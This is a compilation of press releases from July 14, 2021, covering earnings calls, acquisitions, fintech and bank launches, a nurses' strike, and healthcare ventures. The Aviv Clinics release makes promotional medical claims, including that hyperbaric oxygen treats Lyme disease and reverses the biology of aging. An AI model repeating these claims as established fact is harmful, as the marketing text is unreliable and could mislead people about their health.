The Florida Association of the American Institute of Architects, headquartered in Tallahassee, represents the interests of more than 3,900 members in Florida and the Caribbean. Members adhere to a code of ethics and professional conduct that assures the client, the public and colleagues of an AIA-member architect's dedication to the highest standards in professional practice.

CONTACT



Beth Colvin

850-222-7590

[email protected]

twitter.com/aiaflorida



Florida Association of the

American Institute of Architects

104 E. Jefferson St.

Tallahassee, FL32301

aiafla.org



SOURCE Florida Association of the American Institute of Architects

Related Links

www.aiafla.org


LUXEMBOURG, July 14, 2021 /PRNewswire/ -- Ardagh Metal Packaging will host a Second Quarter 2021 earnings call on Tuesday, August 3, 2021.

A results release will be posted to our website at midday BST (07:00 EST) on July 29, 2021 at http://www.ardaghmetalpackaging.com

An investor webcast and conference call will be held at 14:00 BST (09:00 EST) on August 3, 2021.

Webcast

https://event.webcasts.com/starthere.jsp?ei=1480554&tp_key=cca6fa6e83

Dial in*:

US: +1 323 794 2095

International: +44 330 336 9104

Conference code: 182599

*It is not necessary to dial into the audio conference unless you are unable to join the webcast.

For our listening audience only, simply click access numbers and enter your details to be connected. The link is active 15 minutes prior to the start time.

Ardagh Group S.A. will publish its Second Quarter 2021 results on Tuesday, August 3, 2021.

A results release will be posted to our website at midday BST (07:00 EST) on August 3, 2021 at http://www.ardaghgroup.com/corporate/investors.

An investor webcast and conference call will be held at 16:00 BST (11:00 EST) on August 3, 2021.

Webcast

https://event.webcasts.com/starthere.jsp?ei=1480643&tp_key=25fe410375

Dial in*:

International: +44 (0)330 336 9104

US: +1 646 828 8199

Conference code: 859043

*It is not necessary to dial into the audio conference unless you are unable to join the webcast.

For our listening audience only, simply click access numbers and enter your details to be connected. The link is active 15 minutes prior to the start time.

SOURCE Ardagh Group S.A.

Related Links

http://www.ardaghmetalpackaging.com


ROLLING MEADOWS, Ill., July 14, 2021 /PRNewswire/ -- Arthur J. Gallagher & Co. (NYSE: AJG) will release its second quarter 2021 earnings after the market closes on Thursday, July 29, 2021. A printer-friendly format will be available on the company's website shortly thereafter.

In conjunction with this release, J. Patrick Gallagher, Jr., Chairman, President and CEO, will host a conference call on Thursday, July 29, 2021 at 5:15 pm ET/4:15 pm CT.

The conference call will be broadcast live through Gallagher's website at www.ajg.com and a conference call replay will be available on the company's website approximately one hour after the broadcast. The replay can be accessed by going to Investor Relations and clicking on Events & Presentations.

Arthur J. Gallagher & Co. (NYSE: AJG), a global insurance brokerage, risk management and consulting services firm, is headquartered in Rolling Meadows, Illinois. The company has operations in 56 countries and offers client service capabilities in more than 150 countries around the world through a network of correspondent brokers and consultants.

Contact:

Ray Iardella

VP - Investor Relations

(630) 285-3661  [email protected]

SOURCE Arthur J. Gallagher & Co.

Related Links

http://www.ajg.com


ADDISON, Texas, July 14, 2021 /PRNewswire/ -- Authentix, the authority in authentication and information services, announced that it has acquired Asia's leading online brand and content rights protection provider, Strategic IP Information Pte Ltd (SIPI).

For over ten years, SIPI has offered state-of-the-art services for brands to track unauthorized channels for counterfeit products and manufacturers through its proprietary online tools and array of services including physical enforcement and taking down pirated listings. Using a team of dedicated analysts and sophisticated platform technology, SIPI is able to promptly detect infringement data and counterfeiting activity for rapid action and consolidated, insightful reports for its growing brand owner customer base. SIPI presently serves over 200 global brands and is partnered with numerous major global law firms along with its own teams in New Delhi, Shenzhen, Paris, New York, and Geneva.

"This strategic acquisition expands our portfolio of digital security technologies to include online anti-counterfeiting and content rights solutions and increases the scope of offerings for our brand protection clients," stated Kevin McKenna, CEO of Authentix, adding "a key element of our growth plan includes the integration of both online investigation and copyright protection services and SIPI is a high-quality organization that fits perfectly with Authentix capabilities and strategic direction."

SIPI's founder and Chairman, Bharat Dube (former Head of Anti-counterfeiting for the Richemont Group) said, "We are extremely proud to be joining forces with the highly talented and experienced team at Authentix. The cutting-edge track and trace solutions provided by Authentix, in combination with the online and offline enforcement solutions we have developed, should offer highly secure protection to the world's leading brands."

SIPI's CEO, Bharat Kapoor added, "With the support and backing of Authentix, we are confident of becoming the world's leading service provider of online brand protection."

SIPI will remain a stand-alone operating entity retaining its respective brands, with a plan to integrate within the Authentix group of companies and further grow its collective set of strategic offerings and leverage the larger Authentix sales platform in the market.

About SIPI:

Headquartered in Singapore, SIPI provides fully managed online brand protection and content rights monitoring and enforcement services for Fortune 500 companies in the luxury goods, fashion, cosmetics, pharmaceutical, spirits, manufacturing, automotive and media industries. SIPI operates Veri-Site, the global leader in providing risk-relevant intelligence regarding rogue websites, intellectual property theft, cybercrime, web-enabled transnational organized crime, and sanctioned entities operating online. SIPI's O2O ('online-to-offline') division focuses on investigations and offline enforcement in China, India, and several other Asian countries.

About Authentix:

As the authority in authentication solutions, Authentix thrives in supply chain complexity. Authentix provides advanced authentication solutions for governments, central banks, and commercial products, ensuring local economies grow, banknote security remains intact, and commercial products have robust market opportunities. The Authentix partnership approach and proven sector expertise inspires proactive innovation, helping customers mitigate risks to promote revenue growth and gain competitive advantage. Headquartered in Addison, Texas USA, Authentix, Inc. has offices in the North America, Europe, Middle East, and Africa serving clients worldwide. For more information, visit https://www.authentix.com. Authentix is a registered trademark of Authentix, Inc.

SOURCE Authentix, Inc.

Related Links

http://www.authentix.com


DUBAI, UAE, July 14, 2021 /PRNewswire/ --Aviv Clinics will welcome the launch of its U.A.E. Vision 2021 National Agenda with the opening of the Aviv clinic. The initiative is to offer the best healthcare in the world, both curative and preventative. The team has created a unique program which combines Hyperbaric Oxygen Therapy (HBOT), physical training, and nutritional training, to maximize clients' quality of life.

For the first time, world leading physicians and practitioners will be based in the U.A.E. at Aviv Clinics. Those seeking the best of cutting-edge medicine will be able to receive it in Dubai and will not need to travel abroad. The Aviv Medical Program has opened a new frontier to what many consider the biggest healthcare game-changer in decades: enhancing brain and body performance and reversing the biology of aging. Aviv has designed a program that is easy to understand including HBOT treatment, cognitive and physical training and nutrition. These treatments are geared towards maximizing your performance and health to be your best self, at any age.

As part of Aviv's advanced treatment program all of the treatments are personalized to best fit the client. The program is developed by comprehensive and complex assessments on the health of the person. Once you finish your treatments, the Aviv team gives you a wearable device that allows you to continue monitoring your performance. The team will continue to give you feedback and information to feel your best.

Aviv Clinics focuses on brain performance and the clinic's specialty wings offer the latest advancements in assessing, treating, and improving cognitive and physical performance:

1. Hyperbaric Wing with our state-of-the-art hyperbaric oxygen treatment suites which has been known to be effective in treating lyme disease.

2. Neurocognitive Wing for cognitive evaluation and training.

3. Physiological Wing for physiological assessment and therapy.

4. Biological Imaging Wing  Including novel MRI protocols, Genome Mapping and a Cellular lab.

Aviv's team of scientists have spent over a decade researching and developing the Aviv Protocol. Large-scale clinical trials and peer-reviewed publications establish the benefits of the Aviv Medical Program. Aviv is excited and proud to open this first facility in Dubai and play its role in supporting the U.A.E. 's greater ambitions to create a World-Leading healthcare system for its citizens and residents.

For more information, please contact us:

Within UAE: +800-2848 (AVIV)

Outside UAE: +971-(0)-4437-1000

[email protected]

www.aviv-clinics.ae

SOURCE Aviv Clinics

Related Links

https://aviv-clinics.ae/


As Zip explains, BNPL services allow the customer to take the goods home immediately, as the provider pays the store for the items upfront and then the customer pays the BNPL provider back in instalments. The service works in a similar way to a traditional credit card, except purchases are interest free , which is incredibly appealing to consumers.

As consumers continue to turn their backs on credit cards, they are becoming more aware of the benefits BNPL provides, including spreading purchases over time, budgeting and managing cash flow.

According to YouGov data, approximately 25 per cent of Aussies aged over 18 have used BNPL and awareness of the services provided by brands like Zip continues to rise. Females aged between 25 and 45 with a monthly income of less than $6,000 are the key users of BNPL services.

BNPL simplifies how customers pay by offering fast and seamless solutions online and instore. YouGov reports that the main purchase categories for buy now pay later (BNPL) customers include furniture and household staples, electronics, clothing and beauty products.

Zip's hero product, Zip Pay, offers users interest free , flexible repayments and the new digital Zip card allows customers to 'Tap and Zip' just about everything, everywhere.

When customers sign up for a Zip account, a repayment schedule is set to cover the minimum monthly repayment, which is determined by the credit limit assigned to the individual. Users can choose to pay the instalments weekly, fortnightly or monthly.

As BNPL awareness and uptake continues to rise, it's clear brands like Zip, who also offers business loans, have truly changed the way consumers pay in the modern, contactless world.

This press release was issued through 24-7PressRelease.com. For further information, visit http://www.24-7pressrelease.com.

SOURCE Zip Co

Related Links

https://zip.co/


Additionally, the Company today announced that it has nearly doubled the number of zip codes eligible for Same Day Delivery, thanks to a new strategic U.S. partnership with crowdsourced delivery platform, Roadie. Roadie boasts more than 200,000 verified drivers nationwide and will bring the total zip codes eligible for Same Day Delivery from Bed Bath & Beyond and buybuy BABY to nearly 16,000.

"We are excited to further reinvent digital services like Same Day Delivery and Buy Online Pickup Curbside or In-Store to get orders in the hands of our customers even sooner," said Rafeh Masood, EVP and Chief Digital Officer of Bed Bath & Beyond. "The country is getting 'back to normal' and we want to give consumers expanded flexibility on how to get online orders, within hours. Whether that means placing a last-minute Same Day Delivery order to better entertain this summer or picking up an online order on the way to work, we are finding new innovative ways to meet the evolving needs of today's digital customers."

"There's not always time to get to the store when you need to, and Roadie makes it easy for Bed Bath & Beyond to bring the store to you," said Marc Gorlin, Roadie's Founder and CEO. "Through Roadie's partnership with Bed Bath & Beyond and buybuy BABY, you can get the things you need right away, in more places than ever, whether you need new pajamas for your toddler or you've got your eye on an air fryer for dinner tonight."

The addition of Roadie as a Same Day Delivery partner strengthens this digital service available to customers located near virtually all Bed Bath & Beyond and buybuy BABY store locations. Customers receive updates on their order status via text, providing them with real-time visibility to when their order will arrive at their doors. Additional Same Day Delivery providers include previously announced partners DoorDash and Shipt.

Today's news continues Bed Bath & Beyond's progress on its omni-always, digital-first strategy. As reported in its recent Q1 2021 results, digital sales in the quarter were 38% of net sales. There were more than 500,000 downloads of the Bed Bath & Beyond mobile app in the quarter, bringing the total amount of app downloads across all banners to more than more than three million over the past year. Approximately 31% of digital sales in the quarter were fulfilled by stores through initiatives such as Same Day Delivery, Buy Online Pickup In-Store or Curbside, or orders shipped from stores to customers. More than 50% of all Bed Bath & Beyond customers shop both in-store and digitally, illustrating the power of the Company's omni-always approach.

About Bed Bath & Beyond

Bed Bath & Beyond Inc. and subsidiaries (the "Company") is an omnichannel retailer that makes it easy for our customers to feel at home. The Company sells a wide assortment of merchandise in the Home, Baby, Beauty and Wellness markets. Additionally, the Company is a partner in a joint venture which operates retail stores in Mexico under the name Bed Bath & Beyond.

Bed Bath & Beyond operates websites at bedbathandbeyond.com, bedbathandbeyond.ca, buybuybaby.com, buybuybaby.ca, facevalues.com and decorist.com.

About Roadie

Roadie is the nation's first "on the way" crowdsourced delivery platform. Founded in 2014, Roadie works with consumers, small businesses and big global brands across virtually every industry to provide a faster, cheaper, more scalable solution for scheduled, same-day and urgent delivery. With more than 200,000 drivers nationwide, Roadie's platform covers more than 20,000 zip codes  the largest local same-day delivery footprint in the nation.

Roadie is backed by Warren Stephens of Stephens Inc.; The Home Depot; UPS Ventures; Eric Schmidt's TomorrowVentures; David Bonderman, founder of TPG Capital; Guggenheim Partners' Executive Chairman Alan Schwartz; Square Co-Founder Jim McKelvey; among others. For more information, visit www.roadie.com.

SOURCE Bed Bath & Beyond Inc.
CORAL SPRINGS, Fla., July 14, 2021 /PRNewswire/ -- The Sylvia Brafman Mental Health Center, a newly established treatment center focusing on mental health and substance abuse disorders, has announced that it will accept patients in early August 2021.

The facility represents a reunion of sorts for Jaime Blaustein, who will serve as CEO, and Ben Brafman, who will serve as General Manager and oversee all clinical operations.

A Come-Full-Circle Story: Behavioral health expert Ben Brafman and recovered investment banker Jaime Blaustein join forces to establish SBMHC.

An unlikely duo one decade ago, Brafman previously owned and operated an inpatient drug rehab attended by Blaustein when he was 21 years old. He ultimately had to dismiss Blaustein, who was in the grips of addiction and ultimately went through seven treatment centers, due to multiple relapses.

Blaustein eventually got clean and sober at 24 years old. He went on to sponsor dozens of men in recovery while reestablishing his career. After attending Duke University for his M.B.A., he became an investment banker in Credit Suisse's Global Industrials Group where he focused on M&A and capital markets financing.

Brafman, meanwhile, flourished as a behavioral health expert and gained a following and reputation as a thought-leader over the past decade. He continued to serve as owner and CEO of Destination Hope, which he founded in 2007, while also owning and operating The Academy for Addiction Professionals.

"This is a rare combination in which you take two people with completely different skillsets and experiences and combine them in a way that yields unmatched synergies," said Blaustein. "Our collective experience enables us to bring to the table every ingredient needed to help countless patients and families."

Named in honor of Brafman's late mother Sylvia, the treatment center will be located in Tamarac, Florida, and offers a variety of programs, including Partial Hospitalization Program (PHP), Intensive Outpatient Program (IOP), Outpatient Program (OP), Family Program, Professionals Program, and Career Services Program.

Focused primarily on mental health treatment, the center will treat chronic anxiety, depression, bipolar, schizophrenia, and a number of other diagnoses. The treatment center will also have a core competency treating alcoholism and addiction, which is where the bulk of the founders' experience is grounded.

"We're going to do something a bit unique in terms of how we think about mental health and addiction," said Brafman. "Clinically speaking, addiction is a mental health disorder, and we need to stop separating the two."

"The universe really has a sense of a humor," said Blaustein. "I don't believe anyone would have predicted this a decade ago, but here we are  ready to launch into action and help a ton of patients and families."

For more information and inquiries, please visit sylviabrafman.com or contact Marnie Nathanson at [email protected].

Related Images

the-sylvia-brafman-mental-health.jpg

The Sylvia Brafman Mental Health Center

A Come-Full-Circle Story: Behavioral health expert Ben Brafman and recovered investment banker Jaime Blaustein join forces to establish SBMHC.

SOURCE The Sylvia Brafman Mental Health Center
The pandemic-focused report highlights the impact of lockdowns, supply chain disruptions, demand destruction, and change in customer behavior during 2020. Technavio analysts have curated the reports extensively through both qualitative and quantitative research methodologies to derive the most industry-relevant and business-relevant outcomes.

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Top 3 Blood Glucose Monitoring Devices Market Players

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ARKRAY Inc. offers blood glucose monitoring devices such as GLUCOCARD 01 Mini, GLUCOCARD 01 Mini Plus, GLUCOCARD Vital, and more.

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SMBG



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Lancets

Geography

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Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Vendors covered

Vendor classification

Market positioning of vendors

Competitive scenario

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

Contact

Technavio Research

Jesse Maida

Media & Marketing Executive

US: +1 844 364 1100

UK: +44 203 893 3200

Email: [email protected]

Report Page: https://www.technavio.com/report/blood-glucose-monitoring-devices-market-industry-analysis

SOURCE Technavio
BOSTON, July 14, 2021 /PRNewswire/ -- The 39 healthcare professionals (HCPs) of the VNA of Boston, represented by the Massachusetts Nurses Association, will announce a seven-day strike, planned for July 26 to August 1, when they visit the luxury Boston apartment tower of VNA Care Board Chair Rita S. Advani on Thursday, July 15.

The HCPs  physical therapists, occupational therapists, social workers, and speech therapists  will attempt to deliver Advani a letter describing their challenges negotiating a first MNA contract with corporate owner VNA Care, which has offices in Worcester, Needham, and Danvers, and refuses to agree to key provisions around patient care conditions, health insurance and retirement security.

Strike Announcement Event

When: Thursday, July 15 at 5 p.m.

Where: Outside Harbor Towers Apartments, 65-85 E India Row, Boston, MA

What: Boston VNA healthcare professionals and their supporters will gather outside the luxury tower to encourage VNA Care Board Chair Rita S. Advani and other board members to help them reach a fair contract and avert the strike planned for July 26.

Established in 1886, VNA of Boston is the oldest organized VNA in the country. Its HCPs provide essential in-home care and recovery services to thousands of patients across Boston, Brookline, South Boston, Hyde Park, West Roxbury, Roxbury, Brighton, the North End, Chinatown, Quincy, Everett, Winthrop, Milton, Revere, and more. The medical needs of Boston VNA patients are varied and complex. They include post-surgical conditions such as total hip or total knee replacements; stroke; Parkinson's Disease; Multiple Sclerosis; Amyotrophic Lateral Sclerosis (ALS); cardiopulmonary conditions; amputations; and post-trauma care (breaks, fractures).

Eighty percent of the HCPs turned out to vote on June 22 and voted 100% to authorize their MNA Bargaining Committee to call for a strike if necessary. The HCPs elected by their colleagues to represent them on the bargaining committee have determined a strike appears necessary to secure a contract and the critical staffing improvements their patients need. HCPs voted to authorize the strike after many months of negotiations and VNA Care creating significant roadblocks to a contract agreement.

A seven-day strike would interrupt care for hundreds of patients, families and their associated healthcare facilities, doctors, and other healthcare professionals. Boston VNA HCPs do not want to go on strike but have been forced to plan for a strike because VNA Care refuses to agree to essential contract provisions.

A main sticking point in negotiations is how patient assignments are handled:

VNA Care refuses to safely limit patient care assignments given to HCPs on a daily basis.

Excessive caseloads makes it extremely difficult for HCPs to provide the level of care patients deserve, especially patients who need complex treatments following hospitalization or surgery.

Instead, VNA Care wants unlimited ability to assign cases to HCPs with no regard for the complexity of patient care requirements.

HCPs are forced to triage their patient assignments, leaving some patients waiting longer or ending up with less care than they deserve. When patients leave a hospital or outpatient clinic following surgery or the diagnosis of a complex illness, they increasingly rely on caregivers like the Boston VNA HCPs. The lack of enforceable patient care standards is a major problem for HCPs and their patients.

Additional roadblocks to agreement created by VNA care:

VNA Care wants the right to increase health insurance costs or decrease coverage unilaterally. HCPs are seeking the same health insurance arrangement VNA Care has with its registered nurses so HCPs can count on accessible and affordable coverage for themselves and their families.

VNA Care does not want to guarantee any retirement contributions for HCPs. The HCPs have proposed receiving the same 401K match as other network employees.

match as other network employees. VNA Care is proposing to cut sick time for newer HCPs, from 13 days annually to six, a change that would only force clinicians to work while sick and threaten the safety of patients. The agency is also proposing to reduce bereavement days.

VNA Care refuses to agree to a wage scale that properly values the care HCPs provide and their increasing experience level as they continue to work for the agency. Wage scales are a standard in union contracts that provide for fair and transparent pay increases and help with recruitment and retention.

"We are dedicated to this process and getting a fair and equitable contract," said Rod Hemingway, MNA Co-Chair and an occupational therapist. "They have not respected us and have decided they just don't want to give us the predictability we need. A contract will give our members stability in our wages and benefits, so we can plan our lives and care for our children or family members. People want to grow roots down deep at the VNA. We want to care for our patients and make the agency the best it can be. When new staff come in, we want them to stay and become trusted, experienced healthcare professionals. There is no reason we can't be the agency of choice."

"It is frustrating that they are purposefully delaying our contract. They are coming to the table for show, not to make any progress, and are not even willing to give us equity with the nurses," said Nikki Ducey, a physical therapist and MNA Co-Chair. "Nurses agree the workload is the same and should be counted the same. We are all working together to treat the patients and for our own employer to value us differently, and really less than, is awful. We are looking for predictability and reliability. They want complete discretion. I have been here almost 10 years and they have taken so much away. They took away the retirement match and I have not had a raise in five years. To not know what those benefits will look like from year to year is very discouraging."

"We have been committed to our patients, to our union and to this negotiation process," said Debra Nowak, MNA Co-Chair and a physical therapist. "We stand in solidarity as we take all steps necessary to protect our patients and secure a contract that adequately supports and empowers our clinicians."

Background on BVNA HCPs and Negotiations

The HCPs voted to join the MNA as part of a National Labor Relations Board election in late 2019. The MNA also represents registered nurses working for the VNA of Boston, who have a separate contract.

In recent years, many hospital-based services for patients have shifted to in-home services, making VNAs and HCPs an essential and ever-expanding part of the American healthcare system. Hospitals now move patients back home faster than before as doing so reduces costs and opens in-hospital beds. This has led to a dramatic increase in the size of the region's at-home patient population as well as in the complexity of those patients.

However, the working conditions for the HCPs who care for at-home patients have not kept pace with environmental changes or the market, which is what prompted the Boston VNA's HCPs to unionize with the MNA. In December, the HCPs delivered a petition signed by 100% of members to the office of the VNA's CEO Todd Rose. The petition stated that they expect the organization to bargain with them in good faith for a first contract that is fair, equitable, and good for patients and members alike.

MassNurses.org  Facebook.com/MassNurses  Twitter.com/MassNurses Instagram.com/MassNurses

Founded in 1903, the Massachusetts Nurses Association is the largest union of registered nurses in the Commonwealth of Massachusetts. Its 23,000 members advance the nursing profession by fostering high standards of nursing practice, promoting the economic and general welfare of nurses in the workplace, projecting a positive and realistic view of nursing, and by lobbying the Legislature and regulatory agencies on health care issues affecting nurses and the public.

SOURCE Massachusetts Nurses Association

Related Links

http://www.massnurses.org


Nomo has been developed to accommodate a growing segment of individuals in the Middle East with international banking needs. Nomo provides a digital solution for accessing, moving, and investing money in the UK and internationally with ease and assurance.

Eligible customers from Kuwait will be able to open their new UK account in minutes through the cutting-edge and intuitive Nomo iPhone app, providing them with the ability to make seamless international payments in GBP () and USD ($) and transact through a virtual and/or digital MasterCard debit card. Nomo also caters to its customers through a range of innovative digital banking products.

Boubyan Bank Group CEO and BLME Chairman, Adel Al-Majed, said: "Nomo part of BLME is a fully licensed UK bank, offering a unique opportunity for customers to benefit from one of the most prestigious banking systems in the world.





As well as daily banking services, Nomo provides Sharia-compliant investment opportunities by offering fixed-term deposits. Boubyan Group has proudly pioneered this state-of-the-art digital bank that provides Islamic digital banking services, accessible from anywhere in the world."

Al-Majed added: "Most Islamic banks across the wider GCC region are behind the global digital curve in terms of the digital products and services being offered to customers. Nomo aims to propel Islamic digital banking towards a more innovative future where the priority is customer convenience on an international scale.

"To achieve this, we've put together a carefully selected team of global digital banking and payments experts to help us create the future of Islamic international digital banking."

Andrew Ball, CEO of BLME, said: "UK banks are admired around the world for their stability, resilience and high levels of governance. Digitization will enable customers in the Middle East to open and enjoy the benefits of a UK bank account in the knowledge that it also meets their Sharia principles and beliefs.

"In Nomo, we have brought together an impressive team from global digital and neo banks with a depth of experience in creating digitized banking systems. We have made substantial progress in a short period of time, and I look forward to working with the team as we continue to build the bank."

Nomo is a trading name of BLME. BLME is authorized by the Prudential Regulation Authority and regulated by the Financial Conduct Authority and the Prudential Regulation Authority. Nomo deposits of up to 85,000 are protected by the FSCS (Financial Services Compensation Scheme), which safeguards bank deposits in the UK

Boubyan Bank Group acquired a majority shareholding in BLME Holdings plc in 2020.

For more information, visit nomobank.com.

Twitter: @nomo_bank

Instagram: @nomobank

Facebook: @NomobankGB

LinkedIn: @Nomo

Qutayba Al-Bassam,

Executive Manager - Corporate Communications

[email protected]

+965 2232 5075

Photo - https://mma.prnewswire.com/media/1574308/Adel_Al_Majed.jpg

Photo - https://mma.prnewswire.com/media/1574306/Andrew_Ball.jpg

Photo - https://mma.prnewswire.com/media/1574307/Nomo_New_App.jpg

SOURCE Boubyan Bank
Brainomix were awarded the first national tender in Europe to deploy its AI stroke software as part of the Polish Ministry of Health initiative to improve stroke care

OXFORD, England, July 14, 2021 /PRNewswire/ -- Each year more than 100,000 people will suffer a stroke in Poland, with some patients requiring specialist treatment in the form of mechanical thrombectomy  a procedure typically performed at a comprehensive stroke center, in which a blood clot is surgically removed from the brain's arteries to restore blood flow.

With a focus on expanding access to thrombectomy and improving stroke care overall, the Ministry of Health launched the POLKARD initiative, which included Europe's first nationwide tender for AI stroke imaging. Brainomix were awarded this landmark opportunity, enabling the company to deploy its flagship e-Stroke software across nearly all of Poland's largest comprehensive stroke centers, and solidifying its position as market leader in Europe.

e-Stroke is a collection of tools that use state-of-the-art AI algorithms to support doctors by providing real-time interpretation of brain scans to help guide treatment and transfer decisions for stroke patients, allowing more patients to be treated in the right place, at the right time.

Despite the challenges presented by the COVID-19 pandemic, Brainomix worked tirelessly to ensure its software was quickly and seamlessly installed across each site. A series of remote training sessions were conducted to ensure that all key members of the stroke team were familiar with the software, fostering widespread clinical adoption. When permitted, Brainomix also visited many of the sites, committed to providing best-in-class support.

Dr Violetta Palacz-Duda, a Neurologist at Dr Jan Biziel's University Hospital No. 2 in Bydgodzcz, a city in northern Poland, spoke about her experience with the AI software: "We have had Brainomix software now for a year, and it has enabled us to efficiently identify patients eligible for both thrombectomy and thrombolysis. e-Stroke facilitates the diagnosis of acute ischemic stroke by quantifying the extent of ischemic damage, indicating where there are occluded vessels and assessing the status of collateral circulation. The CT perfusion module is very helpful in assessing the eligibility of late-time-window patients for thrombectomy. Overall, I would highly recommend the e-Stroke platform from Brainomix."

Following the installation of e-Stroke, many Polish hospitals began to incorporate CT Perfusion into their stroke imaging protocol, as a way to assess late-presenting patients. Dr Piotr Luchowski, based at the Independent Public Clinical Hospital in Lublin, where he and his team perform more than 200 thrombectomies per year, commented on this approach: "We routinely use Brainomix software to qualify for late-window endovascular treatment. We have also found great utility with the CT Perfusion module for patients in the standard therapeutic window, to flag stroke chameleons or stroke mimics. Thanks to the Brainomix software, we are significantly increasing the chance for proper, effective therapy."

Dr Zoltan Chadaide, Brainomix Business Manager, Central Eastern Europe, spoke about the significance of the Polish national tender. "This opportunity to deploy our e-Stroke platform at a national level reflects the comprehensive value of our technology, which can deliver full network solutions, while also expanding patient access to life-saving treatments. The project also enabled us to showcase our expertise to deploy software at scale, with best-in-class support and a commitment to fostering broad adoption. We look forward to our ongoing partnership in Poland, and will continue to focus on other regional and national-level opportunities."

About Brainomix

Brainomix is an Oxford-based company specializing in the creation of AI-powered software solutions to enable precision medicine for better treatment decisions. Founded in 2010 as a spin-out of the University of Oxford, its e-Stroke Suite provides clinicians with the most comprehensive stroke imaging solution, helping to interpret images and facilitating faster, more confident treatment decisions for patients with suspected stroke. To learn more about Brainomix and its technology visit www.brainomix.com, and follow us on Twitter, LinkedIn and Facebook.

Logo - https://mma.prnewswire.com/media/1311028/Brainomix_Logo.jpg

SOURCE Brainomix
WASHINGTON, July 14, 2021 /PRNewswire/ -- Broad Creek Capital and Springer Capital recently expanded their joint portfolio of multifamily assets with the acquisitions of the Square at Forest Acres in Columbia, South Carolina and Tanglewood Apartments in Memphis, Tennessee. The total purchase price was $16.5M and the two properties together consist of 364 units.

The acquisitions are the most recent investments in Broad Creek Capital's Enhanced Income Strategy, which seeks to provide tax-efficient high yield investment income via the acquisition and repositioning of underperforming multifamily properties throughout the United States. The portfolio currently totals over 530 units of multifamily real estate.

Matthew Ruesch, Co-Founder and Managing Partner of Broad Creek Capital stated, "Square and Tanglewood are ideal investments for our Enhanced Income Strategy. U.S. multifamily real estate remains one of the most attractive asset classes for yield and long-term capital appreciation, and the southeast region of the country continues to see strong renter demand. By partnering with Springer Capital, a best in-class real estate investment manager, we believe the execution of this strategy will create substantial value for us and our co-investors."

"We are excited to partner with Broad Creek on these acquisitions in Columbia and Memphis. These properties are located in the southeast, a region that is extremely attractive for long-term investment due to its affordability, strong employer bases, and well-regarded quality of life. The value-add component of these properties is particularly compelling because it provides significant opportunity for near-term realization," said Tom Farnoly, Principal at Springer Capital.

Tanglewood Apartments is a 199-unit apartment community built in 1975 and located in the Bartlett submarket of Memphis. Bartlett is one of the most sought-after submarkets in Memphis due to its easy access to highways, major employers, and retail options. Tanglewood was lightly renovated in 2006 utilizing tax credit investor equity which placed affordability restrictions on rents. The business plan calls for exterior and interior renovations to bring the property in line with competing properties in the submarket.

Square at Forest Acres is a 165-unit apartment complex built in 1970 and located in Forest Acres, a submarket of Columbia. The property is in an affluent demographic center and is near higher-end retail corridor which includes premium brand grocers, restaurants, and fitness retailers. Extensive interior and exterior renovations on Square commenced shortly after acquisition and are scheduled for completion in 2022.

About Broad Creek Capital - Broad Creek Capital is a family-office backed private investment partnership. The firm partners with other family offices in the U.S. and Europe on direct investment opportunities in real estate, private equity, and venture capital. For more information, please visit www.broadcreekcap.com. For more information on the Enhanced Income Strategy, please visit www.broadcreekcap.com/co-investment-platform.

About Springer Capital - Springer Capital is a real estate private equity firm focused on the opportunistic acquisition of multifamily properties providing strong, risk-adjusted returns to investors. The firm targets properties that are poorly managed, under-valued, under-capitalized or suffering from deferred maintenance and can be acquired at a discount to their intrinsic value. The strategy focuses on small to medium-sized value-add and re-development opportunities principally located in the eastern half of the United States. For more information, please visit www.springercap.com.

SOURCE Broad Creek Capital

Related Links

https://www.broadcreekcap.com


DENVER, July 14, 2021 /PRNewswire/ -- BurstIQ, the leading provider of blockchain enabled data exchange solutions, announced today that longtime partner FlowMetric Life Sciences, launched their novel vaccine immune response test, VaxEffect. BurstIQ has worked closely with FlowMetric to develop the secure data management network that provides VaxEffect's customers with greater access and control over how their data is used and shared.

BurstIQ

The VaxEffect platform empowers both patients and providers to make more informed health decisions using the innovative VaxEffect test, which can quantitatively measure and track the strength of a person's immune response to COVID-19 vaccination or natural exposure, both now and over time. Providers can learn more and order the VaxEffect test by visiting www.vaxeffect.com.

"The goal of the collaboration with BurstIQ was to bring the VaxEffect COVID-19 vaccine immune response test and powerful personalized results to health care providers and their patients. We believe the VaxEffect test will be especially important for patients with immunocompromised conditions such as those fighting cancer, diabetes or auto-immune issues who may have not generated a strong immune response to the vaccine," noted Grant Morgan, Ph.D., General Manager of VaxEffect and EVP of FlowMetric Life Sciences Inc. "After a year and half of health uncertainty, we're excited to launch this project so that patients can take back control and make life-changing, informed decisions on the future of their health."

VaxEffect is an early entrant to the growing edge diagnostics market which is moving health products and services, and their associated data, away from centralized data models towards a decentralized approach in which consumers are able to access health solutions on demand, wherever they are. BurstIQ's LifeGraph Network provides life science companies like FlowMetric with the tools to support edge diagnostics and treatments. LifeGraph offers a secure and person-centric approach to data ownership, consent and governance. It connects data across operational and clinical processes for better coordination, automation and intelligence, and it provides the framework for companies like FlowMetric to bring new data-centric services to their customers, so providers and patients can do more with their data. It's just one of the numerous ways that BurstIQ is helping the health and life sciences industry thrive in a connected, person-centric world.

"Our collaboration with VaxEffect is another way that we, at BurstIQ, are pushing data to the edge," says Amber Hartley, BurstIQ Chief Strategy Officer. "Our goal is to enable patients to connect their VaxEffect testing data with other health and personal data so they can get better control over their data and use it to make the apps and services they use smarter and more personalized. That's what LifeGraph is all about."

To learn more about BurstIQ's partnership with VaxEffect and the collaboration that makes this launch successful, please contact us at [email protected].

About BurstIQ

BurstIQ is the leading provider of blockchain-enabled data solutions for the identity, healthcare and life sciences industries. The company's secure data exchange network combines blockchain, multi-layered governance and best-in-class security to build multi-dimensional profiles, called LifeGraphs, of people, places and things, and empower the connections between them. LifeGraph Network allows organizations to manage the ownership and sharing of sensitive data, with consent, governance and process automation built in. The result is a global, secure data network that allows health systems, payers, digital health companies, pharma & life science companies and governments to collaborate, share, discover and build the impossible.

For more information visit: Website | Facebook | Twitter | LinkedIn

About VaxEffect

